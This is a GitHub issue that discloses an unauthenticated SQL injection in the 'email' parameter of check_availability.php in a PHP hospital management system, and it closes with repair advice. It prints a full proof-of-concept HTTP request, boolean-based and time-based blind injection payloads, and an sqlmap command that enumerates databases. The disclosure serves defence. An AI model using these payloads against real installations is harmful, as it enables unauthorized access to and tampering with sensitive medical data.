Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

code-projects Hospital Management System Using PHP With Source Code v1.0 check_availability.php SQL injection #1

Open
65241 opened this issue Sep 16, 2024 · 0 comments

Comments

@65241
Copy link
Owner

65241 commented Sep 16, 2024

code-projects Hospital Management System Using PHP With Source Code v1.0 check_availability.php SQL injection

emailOF AFFECTED PRODUCT(S)

  • Hospital Management System Using PHP With Source Code

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • rootme30

Vulnerable File

  • check_availability.php

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • SQL injection

Root Cause

  • A SQL injection vulnerability was found in the 'check_availability.php' file of the 'Hospital Management System Using PHP With Source Code' project. The reason for this issue is that attackers inject malicious code from the parameter "email" and use it directly in SQL queries without appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.
1

Impact

  • Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

  • Due to insufficient user input verification for the "email" parameter, a serious SQL injection vulnerability has been discovered in the "Hospital Management System Using PHP With Source Code", allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to the database, modify or delete data, and access sensitive information without logging in. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login verification required

Vulnerability details and POC

POST /hms/check_availability.php HTTP/1.1
Host: 192.168.203.199:1218
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 19
Origin: http://192.168.203.199:1218
Connection: close
Referer: http://192.168.203.199:1218/hms/registration.php
Cookie: PHPSESSID=0mi2ldjjhl6u55bftg19fatl84; pma_lang=zh_CN; phpMyAdmin=ecgqsunqkk259gps6g855hpj7h; pmaUser-1=%7B%22iv%22%3A%22XCt6WG5l8jF93ZNn8aw0gw%3D%3D%22%2C%22mac%22%3A%2200a51771b9141770e6b859aa0d04353eda02b3c3%22%2C%22payload%22%3A%22yQBymdYR171xOgwHdZj8kQ%3D%3D%22%7D; pmaAuth-1=%7B%22iv%22%3A%22pWtm%5C%2FRqRJaUxcIEYY65xuQ%3D%3D%22%2C%22mac%22%3A%22aed483f364ce5dde1c3d367c399a45081d9e1e53%22%2C%22payload%22%3A%22H6CYC%5C%2FW40soknhBMNNUVcs6GbzmqoaAfuJvX1LwioPE%3D%22%7D; Attendance_Management_System=m9le8it5h61k0g6rddsuoes9a3
Priority: u=0

[email protected]

Vulnerability type:

  • time-based blind
  • boolean-based blind

Vulnerability location:

  • 'email' parameter

Payload:

arameter: email (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: [email protected]' OR NOT 6413=6413#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: [email protected]' AND (SELECT 1219 FROM (SELECT(SLEEP(5)))FsVM)-- Fzop

2

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

sqlmap -r 123 --batch --dbs
3

Suggested repair

  1. Use prepared statements and parameter binding:
    Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

  2. Input validation and filtering:
    Strictly validate and filter user input data to ensure it conforms to the expected format.

  3. Minimize database user permissions:
    Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

  4. Regular security audits:
    Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant